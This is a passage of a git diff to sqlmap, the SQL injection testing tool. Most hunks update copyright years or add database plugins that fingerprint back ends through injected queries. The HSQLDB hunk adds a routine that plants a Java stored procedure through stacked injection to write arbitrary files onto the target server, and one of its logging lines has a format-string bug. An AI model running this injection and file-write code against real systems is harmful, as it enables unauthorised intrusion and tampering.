b/plugins/dbms/firebird/connector.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2021 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/firebird/enumeration.py b/plugins/dbms/firebird/enumeration.py index 248f3dc120f..fcba44c6b5b 100644 --- a/plugins/dbms/firebird/enumeration.py +++ b/plugins/dbms/firebird/enumeration.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2021 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ @@ -27,12 +27,6 @@ def searchDb(self): return [] - def searchColumn(self): - warnMsg = "on Firebird it is not possible to search columns" - logger.warn(warnMsg) - - return [] - def getHostname(self): warnMsg = "on Firebird it is not possible to enumerate the hostname" logger.warn(warnMsg) diff --git a/plugins/dbms/firebird/filesystem.py b/plugins/dbms/firebird/filesystem.py index 41640ab1596..f8715000849 100644 --- a/plugins/dbms/firebird/filesystem.py +++ b/plugins/dbms/firebird/filesystem.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2021 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/firebird/fingerprint.py b/plugins/dbms/firebird/fingerprint.py index ab27b003e77..3a6ea93c02d 100644 --- a/plugins/dbms/firebird/fingerprint.py +++ b/plugins/dbms/firebird/fingerprint.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2021 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/firebird/syntax.py b/plugins/dbms/firebird/syntax.py index ace022dcc4f..31044624e31 100644 --- a/plugins/dbms/firebird/syntax.py +++ b/plugins/dbms/firebird/syntax.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2021 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/firebird/takeover.py b/plugins/dbms/firebird/takeover.py index 8dc3fc7298b..93b325ccb9a 100644 --- a/plugins/dbms/firebird/takeover.py +++ b/plugins/dbms/firebird/takeover.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2021 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/frontbase/__init__.py b/plugins/dbms/frontbase/__init__.py new file mode 100644 index 00000000000..7ae233340e1 --- /dev/null +++ b/plugins/dbms/frontbase/__init__.py @@ -0,0 +1,29 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2021 sqlmap developers (http://sqlmap.org/) +See the file 'LICENSE' for copying permission +""" + +from lib.core.enums import DBMS +from lib.core.settings import FRONTBASE_SYSTEM_DBS +from lib.core.unescaper import unescaper +from plugins.dbms.frontbase.enumeration import Enumeration +from plugins.dbms.frontbase.filesystem import Filesystem +from plugins.dbms.frontbase.fingerprint import Fingerprint +from plugins.dbms.frontbase.syntax import Syntax +from plugins.dbms.frontbase.takeover import Takeover +from plugins.generic.misc import Miscellaneous + +class FrontBaseMap(Syntax, Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeover): + """ + This class defines FrontBase methods + """ + + def __init__(self): + self.excludeDbsList = FRONTBASE_SYSTEM_DBS + + for cls in self.__class__.__bases__: + cls.__init__(self) + + unescaper[DBMS.FRONTBASE] = Syntax.escape diff --git a/plugins/dbms/frontbase/connector.py b/plugins/dbms/frontbase/connector.py new file mode 100644 index 00000000000..a0e6bebd7d6 --- /dev/null +++ b/plugins/dbms/frontbase/connector.py @@ -0,0 +1,15 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2021 sqlmap developers (http://sqlmap.org/) +See the file 'LICENSE' for copying permission +""" + +from lib.core.exception import SqlmapUnsupportedFeatureException +from plugins.generic.connector import Connector as GenericConnector + +class Connector(GenericConnector): + def connect(self): + errMsg = "on FrontBase it is not (currently) possible to establish a " + errMsg += "direct connection" + raise SqlmapUnsupportedFeatureException(errMsg) diff --git a/plugins/dbms/frontbase/enumeration.py b/plugins/dbms/frontbase/enumeration.py new file mode 100644 index 00000000000..8a9f8e3b371 --- /dev/null +++ b/plugins/dbms/frontbase/enumeration.py @@ -0,0 +1,32 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2021 sqlmap developers (http://sqlmap.org/) +See the file 'LICENSE' for copying permission +""" + +from lib.core.data import logger +from plugins.generic.enumeration import Enumeration as GenericEnumeration + +class Enumeration(GenericEnumeration): + def getBanner(self): + warnMsg = "on FrontBase it is not possible to get the banner" + logger.warn(warnMsg) + + return None + + def getPrivileges(self, *args, **kwargs): + warnMsg = "on FrontBase it is not possible to enumerate the user privileges" + logger.warn(warnMsg) + + return {} + + def getHostname(self): + warnMsg = "on FrontBase it is not possible to enumerate the hostname" + logger.warn(warnMsg) + + def getStatements(self): + warnMsg = "on FrontBase it is not possible to enumerate the SQL statements" + logger.warn(warnMsg) + + return [] diff --git a/plugins/dbms/frontbase/filesystem.py b/plugins/dbms/frontbase/filesystem.py new file mode 100644 index 00000000000..240237bbd8c --- /dev/null +++ b/plugins/dbms/frontbase/filesystem.py @@ -0,0 +1,18 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2021 sqlmap developers (http://sqlmap.org/) +See the file 'LICENSE' for copying permission +""" + +from lib.core.exception import SqlmapUnsupportedFeatureException +from plugins.generic.filesystem import Filesystem as GenericFilesystem + +class Filesystem(GenericFilesystem): + def readFile(self, remoteFile): + errMsg = "on FrontBase it is not possible to read files" + raise SqlmapUnsupportedFeatureException(errMsg) + + def writeFile(self, localFile, remoteFile, fileType=None, forceCheck=False): + errMsg = "on FrontBase it is not possible to write files" + raise SqlmapUnsupportedFeatureException(errMsg) diff --git a/plugins/dbms/frontbase/fingerprint.py b/plugins/dbms/frontbase/fingerprint.py new file mode 100644 index 00000000000..de1322db5e7 --- /dev/null +++ b/plugins/dbms/frontbase/fingerprint.py @@ -0,0 +1,89 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2021 sqlmap developers (http://sqlmap.org/) +See the file 'LICENSE' for copying permission +""" + +from lib.core.common import Backend +from lib.core.common import Format +from lib.core.data import conf +from lib.core.data import kb +from lib.core.data import logger +from lib.core.enums import DBMS +from lib.core.session import setDbms +from lib.core.settings import FRONTBASE_ALIASES +from lib.request import inject +from plugins.generic.fingerprint import Fingerprint as GenericFingerprint + +class Fingerprint(GenericFingerprint): + def __init__(self): + GenericFingerprint.__init__(self, DBMS.FRONTBASE) + + def getFingerprint(self): + value = "" + wsOsFp = Format.getOs("web server", kb.headersFp) + + if wsOsFp: + value += "%s\n" % wsOsFp + + if kb.data.banner: + dbmsOsFp = Format.getOs("back-end DBMS", kb.bannerFp) + + if dbmsOsFp: + value += "%s\n" % dbmsOsFp + + value += "back-end DBMS: " + + if not conf.extensiveFp: + value += DBMS.FRONTBASE + return value + + actVer = Format.getDbms() + blank = " " * 15 + value += "active fingerprint: %s" % actVer + + if kb.bannerFp: + banVer = kb.bannerFp.get("dbmsVersion") + + if banVer: + banVer = Format.getDbms([banVer]) + value += "\n%sbanner parsing fingerprint: %s" % (blank, banVer) + + htmlErrorFp = Format.getErrorParsedDBMSes() + + if htmlErrorFp: + value += "\n%shtml error message fingerprint: %s" % (blank, htmlErrorFp) + + return value + + def checkDbms(self): + if not conf.extensiveFp and Backend.isDbmsWithin(FRONTBASE_ALIASES): + setDbms(DBMS.FRONTBASE) + return True + + infoMsg = "testing %s" % DBMS.FRONTBASE + logger.info(infoMsg) + + result = inject.checkBooleanExpression("(SELECT degradedTransactions FROM INFORMATION_SCHEMA.IO_STATISTICS)>=0") + + if result: + infoMsg = "confirming %s" % DBMS.FRONTBASE + logger.info(infoMsg) + + result = inject.checkBooleanExpression("(SELECT TOP (0,1) file_version FROM INFORMATION_SCHEMA.FRAGMENTATION)>=0") + + if not result: + warnMsg = "the back-end DBMS is not %s" % DBMS.FRONTBASE + logger.warn(warnMsg) + + return False + + setDbms(DBMS.FRONTBASE) + + return True + else: + warnMsg = "the back-end DBMS is not %s" % DBMS.FRONTBASE + logger.warn(warnMsg) + + return False diff --git a/plugins/dbms/frontbase/syntax.py b/plugins/dbms/frontbase/syntax.py new file mode 100644 index 00000000000..eadbee04f15 --- /dev/null +++ b/plugins/dbms/frontbase/syntax.py @@ -0,0 +1,18 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2021 sqlmap developers (http://sqlmap.org/) +See the file 'LICENSE' for copying permission +""" + +from plugins.generic.syntax import Syntax as GenericSyntax + +class Syntax(GenericSyntax): + @staticmethod + def escape(expression, quote=True): + """ + >>> Syntax.escape("SELECT 'abcdefgh' FROM foobar") == u"SELECT 'abcdefgh' FROM foobar" + True + """ + + return expression diff --git a/plugins/dbms/frontbase/takeover.py b/plugins/dbms/frontbase/takeover.py new file mode 100644 index 00000000000..026cacd9887 --- /dev/null +++ b/plugins/dbms/frontbase/takeover.py @@ -0,0 +1,28 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2021 sqlmap developers (http://sqlmap.org/) +See the file 'LICENSE' for copying permission +""" + +from lib.core.exception import SqlmapUnsupportedFeatureException +from plugins.generic.takeover import Takeover as GenericTakeover + +class Takeover(GenericTakeover): + def osCmd(self): + errMsg = "on FrontBase it is not possible to execute commands" + raise SqlmapUnsupportedFeatureException(errMsg) + + def osShell(self): + errMsg = "on FrontBase it is not possible to execute commands" + raise SqlmapUnsupportedFeatureException(errMsg) + + def osPwn(self): + errMsg = "on FrontBase it is not possible to establish an " + errMsg += "out-of-band connection" + raise SqlmapUnsupportedFeatureException(errMsg) + + def osSmb(self): + errMsg = "on FrontBase it is not possible to establish an " + errMsg += "out-of-band connection" + raise SqlmapUnsupportedFeatureException(errMsg) diff --git a/plugins/dbms/h2/__init__.py b/plugins/dbms/h2/__init__.py index 6596455065e..f795721f5fa 100644 --- a/plugins/dbms/h2/__init__.py +++ b/plugins/dbms/h2/__init__.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2021 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/h2/connector.py b/plugins/dbms/h2/connector.py index 9715ab48acf..f073881e646 100644 --- a/plugins/dbms/h2/connector.py +++ b/plugins/dbms/h2/connector.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2021 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/h2/enumeration.py b/plugins/dbms/h2/enumeration.py index 0d26d2b7fe2..71b672bd1bb 100644 --- a/plugins/dbms/h2/enumeration.py +++ b/plugins/dbms/h2/enumeration.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2021 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ @@ -43,7 +43,7 @@ def getCurrentDb(self): return H2_DEFAULT_SCHEMA def getPasswordHashes(self): - warnMsg = "on H2 it is not possible to list password hashes" + warnMsg = "on H2 it is not possible to enumerate password hashes" logger.warn(warnMsg) return {} diff --git a/plugins/dbms/h2/filesystem.py b/plugins/dbms/h2/filesystem.py index aa1a9951b0b..28a5072c2dc 100644 --- a/plugins/dbms/h2/filesystem.py +++ b/plugins/dbms/h2/filesystem.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2021 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/h2/fingerprint.py b/plugins/dbms/h2/fingerprint.py index 56f89ce03f3..fcd3e56e750 100644 --- a/plugins/dbms/h2/fingerprint.py +++ b/plugins/dbms/h2/fingerprint.py @@ -1,16 +1,20 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2021 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ from lib.core.common import Backend from lib.core.common import Format +from lib.core.common import hashDBRetrieve +from lib.core.common import hashDBWrite from lib.core.data import conf from lib.core.data import kb from lib.core.data import logger from lib.core.enums import DBMS +from lib.core.enums import FORK +from lib.core.enums import HASHDB_KEYS from lib.core.session import setDbms from lib.core.settings import H2_ALIASES from lib.request import inject @@ -21,6 +25,16 @@ def __init__(self): GenericFingerprint.__init__(self, DBMS.H2) def getFingerprint(self): + fork = hashDBRetrieve(HASHDB_KEYS.DBMS_FORK) + + if fork is None: + if inject.checkBooleanExpression("EXISTS(SELECT * FROM INFORMATION_SCHEMA.SCHEMATA WHERE SCHEMA_NAME='IGNITE')"): + fork = FORK.IGNITE + else: + fork = "" + + hashDBWrite(HASHDB_KEYS.DBMS_FORK, fork) + value = "" wsOsFp = Format.getOs("web server", kb.headersFp) @@ -37,6 +51,8 @@ def getFingerprint(self): if not conf.extensiveFp: value += DBMS.H2 + if fork: + value += " (%s fork)" % fork return value actVer = Format.getDbms() @@ -55,6 +71,9 @@ def getFingerprint(self): if htmlErrorFp: value += "\n%shtml error message fingerprint: %s" % (blank, htmlErrorFp) + if fork: + value += "\n%sfork fingerprint: %s" % (blank, fork) + return value def checkDbms(self): diff --git a/plugins/dbms/h2/syntax.py b/plugins/dbms/h2/syntax.py index fb6bbe94b1f..19853b3e800 100644 --- a/plugins/dbms/h2/syntax.py +++ b/plugins/dbms/h2/syntax.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2021 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/h2/takeover.py b/plugins/dbms/h2/takeover.py index ea278117318..6e84df2952a 100644 --- a/plugins/dbms/h2/takeover.py +++ b/plugins/dbms/h2/takeover.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2021 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/hsqldb/__init__.py b/plugins/dbms/hsqldb/__init__.py index 7d06406caca..9febde2429b 100644 --- a/plugins/dbms/hsqldb/__init__.py +++ b/plugins/dbms/hsqldb/__init__.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2021 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/hsqldb/connector.py b/plugins/dbms/hsqldb/connector.py index 5aa9b2d57ea..2ca8acb491b 100644 --- a/plugins/dbms/hsqldb/connector.py +++ b/plugins/dbms/hsqldb/connector.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2021 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ @@ -33,7 +33,7 @@ class Connector(GenericConnector): def connect(self): self.initConnection() try: - msg = "what's the location of 'hsqldb.jar'? " + msg = "please enter the location of 'hsqldb.jar'? " jar = readInput(msg) checkFile(jar) args = "-Djava.class.path=%s" % jar diff --git a/plugins/dbms/hsqldb/enumeration.py b/plugins/dbms/hsqldb/enumeration.py index e9aa4c40b11..dfc4cbe53d2 100644 --- a/plugins/dbms/hsqldb/enumeration.py +++ b/plugins/dbms/hsqldb/enumeration.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2021 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/hsqldb/filesystem.py b/plugins/dbms/hsqldb/filesystem.py index 162c8e0a5a6..bb68e3bf97d 100644 --- a/plugins/dbms/hsqldb/filesystem.py +++ b/plugins/dbms/hsqldb/filesystem.py @@ -1,10 +1,16 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2021 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ +from lib.core.common import randomStr +from lib.core.data import kb +from lib.core.data import logger +from lib.core.decorators import stackedmethod +from lib.core.enums import PLACE +from lib.request import inject from lib.core.exception import SqlmapUnsupportedFeatureException from plugins.generic.filesystem import Filesystem as GenericFilesystem @@ -13,6 +19,41 @@ def readFile(self, remoteFile): errMsg = "on HSQLDB it is not possible to read files" raise SqlmapUnsupportedFeatureException(errMsg) - def writeFile(self, localFile, remoteFile, fileType=None, forceCheck=False): - errMsg = "on HSQLDB it is not possible to write files" - raise SqlmapUnsupportedFeatureException(errMsg) + @stackedmethod + def stackedWriteFile(self, localFile, remoteFile, fileType=None, forceCheck=False): + funcName = randomStr() + max_bytes = 1024 * 1024 + + debugMsg = "creating JLP procedure '%s'" % funcName + logger.debug(debugMsg) + + addFuncQuery = "CREATE PROCEDURE %s (IN paramString VARCHAR, IN paramArrayOfByte VARBINARY(%s)) " % (funcName, max_bytes) + addFuncQuery += "LANGUAGE JAVA DETERMINISTIC NO SQL " + addFuncQuery += "EXTERNAL NAME 'CLASSPATH:com.sun.org.apache.xml.internal.security.utils.JavaUtils.writeBytesToFilename'" + inject.goStacked(addFuncQuery) + + fcEncodedList = self.fileEncode(localFile, "hex", True) + fcEncodedStr = fcEncodedList[0][2:] + fcEncodedStrLen = len(fcEncodedStr) + + if kb.injection.place == PLACE.GET and fcEncodedStrLen > 8000: + warnMsg = "as the injection is on a GET parameter and the file " + warnMsg += "to be written hexadecimal value is %d " % fcEncodedStrLen + warnMsg += "bytes, this might cause errors in the file " + warnMsg += "writing process" + logger.warn(warnMsg) + + debugMsg = "exporting the %s file content to file '%s'" % (fileType, remoteFile) + logger.debug(debugMsg) + + # Reference: http://hsqldb.org/doc/guide/sqlroutines-chapt.html#src_jrt_procedures + invokeQuery = "CALL %s('%s', CAST('%s' AS VARBINARY(%s)))" % (funcName, remoteFile, fcEncodedStr, max_bytes) + inject.goStacked(invokeQuery) + + logger.debug("cleaning up" % funcName) + delQuery = "DELETE PROCEDURE %s" % funcName + inject.goStacked(delQuery) + + message = "the local file '%s' has been written on the back-end DBMS" % localFile + message += "file system ('%s')" % remoteFile + logger.info(message) diff --git a/plugins/dbms/hsqldb/fingerprint.py b/plugins/dbms/hsqldb/fingerprint.py index 6641acd2147..407e6657b98 100644 --- a/plugins/dbms/hsqldb/fingerprint.py +++ b/plugins/dbms/hsqldb/fingerprint.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2021 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ @@ -144,3 +144,10 @@ def checkDbms(self): def getHostname(self): warnMsg = "on HSQLDB it is not possible to enumerate the hostname" logger.warn(warnMsg) + + def checkDbmsOs(self, detailed=False): + if Backend.getOs(): + infoMsg = "the back-end DBMS operating system is %s" % Backend.getOs() + logger.info(infoMsg) + else: + self.userChooseDbmsOs() diff --git a/plugins/dbms/hsqldb/syntax.py b/plugins/dbms/hsqldb/syntax.py index fb6bbe94b1f..19853b3e800 100644 --- a/plugins/dbms/hsqldb/syntax.py +++ b/plugins/dbms/hsqldb/syntax.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2021 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/hsqldb/takeover.py b/plugins/dbms/hsqldb/takeover.py index 9db7a6f669e..bffffc0751c 100644 --- a/plugins/dbms/hsqldb/takeover.py +++ b/plugins/dbms/hsqldb/takeover.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2021 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/informix/__init__.py b/plugins/dbms/informix/__init__.py index d0177dd71e7..edceb3fdbb5 100644 --- a/plugins/dbms/informix/__init__.py +++ b/plugins/dbms/informix/__init__.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2021 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/informix/connector.py b/plugins/dbms/informix/connector.py index 03bc7dc4725..1c1fb4e022d 100644 --- a/plugins/dbms/informix/connector.py +++ b/plugins/dbms/informix/connector.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2021 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/informix/enumeration.py b/plugins/dbms/informix/enumeration.py index 05584dba150..5fa7cf7770e 100644 --- a/plugins/dbms/informix/enumeration.py +++ b/plugins/dbms/informix/enumeration.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2021 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/informix/filesystem.py b/plugins/dbms/informix/filesystem.py index e8c64249216..ed68f5ab389 100644 --- a/plugins/dbms/informix/filesystem.py +++ b/plugins/dbms/informix/filesystem.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2021 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/informix/fingerprint.py b/plugins/dbms/informix/fingerprint.py index bd1ea19d42c..ee21d564212 100644 --- a/plugins/dbms/informix/fingerprint.py +++ b/plugins/dbms/informix/fingerprint.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2021 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/informix/syntax.py b/plugins/dbms/informix/syntax.py index fc4f985225c..e4142546212 100644 --- a/plugins/dbms/informix/syntax.py +++ b/plugins/dbms/informix/syntax.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2021 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/informix/takeover.py b/plugins/dbms/informix/takeover.py index 432fa6f78e7..a888d5a90c1 100644 --- a/plugins/dbms/informix/takeover.py +++ b/plugins/dbms/informix/takeover.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2021 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/maxdb/__init__.py b/plugins/dbms/maxdb/__init__.py index 1cc74e59957..04a0f0fcdc7 100644 --- a/plugins/dbms/maxdb/__init__.py +++ b/plugins/dbms/maxdb/__init__.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2021 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/maxdb/connector.py b/plugins/dbms/maxdb/connector.py index 94a40ae7896..1be1c498143 100644 --- a/plugins/dbms/maxdb/connector.py +++ b/plugins/dbms/maxdb/connector.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2021 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/maxdb/enumeration.py b/plugins/dbms/maxdb/enumeration.py index 36d626033d1..6eedc88966d 100644 --- a/plugins/dbms/maxdb/enumeration.py +++ b/plugins/dbms/maxdb/enumeration.py @@ -1,13 +1,14 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2021 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ import re from lib.core.common import isListLike +from lib.core.common import isTechniqueAvailable from lib.core.common import readInput from lib.core.common import safeSQLIdentificatorNaming from lib.core.common import unsafeSQLIdentificatorNaming @@ -17,6 +18,7 @@ from lib.core.data import paths from lib.core.data import queries from lib.core.enums import DBMS +from lib.core.enums import PAYLOAD from lib.core.exception import SqlmapMissingMandatoryOptionException from lib.core.exception import SqlmapNoneDataException from lib.core.exception import SqlmapUserQuitException @@ -83,7 +85,8 @@ def getTables(self, bruteForce=None): for db in dbs: query = rootQuery.inband.query % (("'%s'" % db) if db != "USER" else 'USER') - retVal = pivotDumpTable("(%s) AS %s" % (query, kb.aliasName), ['%s.tablename' % kb.aliasName], blind=True) + blind = not isTechniqueAvailable(PAYLOAD.TECHNIQUE.UNION) + retVal = pivotDumpTable("(%s) AS %s" % (query, kb.aliasName), ['%s.tablename' % kb.aliasName], blind=blind) if retVal: for table in list(retVal[0].values())[0]: @@ -204,8 +207,10 @@ def getColumns(self, onlyColNames=False, colTuple=None, bruteForce=None, dumpMod infoMsg += "on database '%s'" % unsafeSQLIdentificatorNaming(conf.db) logger.info(infoMsg) + blind = not isTechniqueAvailable(PAYLOAD.TECHNIQUE.UNION) + query = rootQuery.inband.query % (unsafeSQLIdentificatorNaming(tbl), ("'%s'" % unsafeSQLIdentificatorNaming(conf.db)) if unsafeSQLIdentificatorNaming(conf.db) != "USER" else 'USER') - retVal = pivotDumpTable("(%s) AS %s" % (query, kb.aliasName), ['%s.columnname' % kb.aliasName, '%s.datatype' % kb.aliasName, '%s.len' % kb.aliasName], blind=True) + retVal = pivotDumpTable("(%s) AS %s" % (query, kb.aliasName), ['%s.columnname' % kb.aliasName, '%s.datatype' % kb.aliasName, '%s.len' % kb.aliasName], blind=blind) if retVal: table = {} diff --git a/plugins/dbms/maxdb/filesystem.py b/plugins/dbms/maxdb/filesystem.py index 76e42d4ee63..a43764c9f60 100644 --- a/plugins/dbms/maxdb/filesystem.py +++ b/plugins/dbms/maxdb/filesystem.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2021 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/maxdb/fingerprint.py b/plugins/dbms/maxdb/fingerprint.py index 75816c368ff..a507cf48b1b 100644 --- a/plugins/dbms/maxdb/fingerprint.py +++ b/plugins/dbms/maxdb/fingerprint.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2021 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/maxdb/syntax.py b/plugins/dbms/maxdb/syntax.py index dc6c661746e..eadbee04f15 100644 --- a/plugins/dbms/maxdb/syntax.py +++ b/plugins/dbms/maxdb/syntax.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2021 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/maxdb/takeover.py b/plugins/dbms/maxdb/takeover.py index 20079a4aaf9..65baa74a34f 100644 --- a/plugins/dbms/maxdb/takeover.py +++ b/plugins/dbms/maxdb/takeover.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2021 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/mckoi/__init__.py b/plugins/dbms/mckoi/__init__.py new file mode 100644 index 00000000000..384766ef262 --- /dev/null +++ b/plugins/dbms/mckoi/__init__.py @@ -0,0 +1,29 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2021 sqlmap developers (http://sqlmap.org/) +See the file 'LICENSE' for copying permission +""" + +from lib.core.enums import DBMS +from lib.core.settings import MCKOI_SYSTEM_DBS +from lib.core.unescaper import unescaper +from plugins.dbms.mckoi.enumeration import Enumeration +from plugins.dbms.mckoi.filesystem import Filesystem +from plugins.dbms.mckoi.fingerprint import Fingerprint +from plugins.dbms.mckoi.syntax import Syntax +from plugins.dbms.mckoi.takeover import Takeover +from plugins.generic.misc import Miscellaneous + +class MckoiMap(Syntax, Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeover): + """ + This class defines Mckoi methods + """ + + def __init__(self): + self.excludeDbsList = MCKOI_SYSTEM_DBS + + for cls in self.__class__.__bases__: + cls.__init__(self) + + unescaper[DBMS.MCKOI] = Syntax.escape diff --git 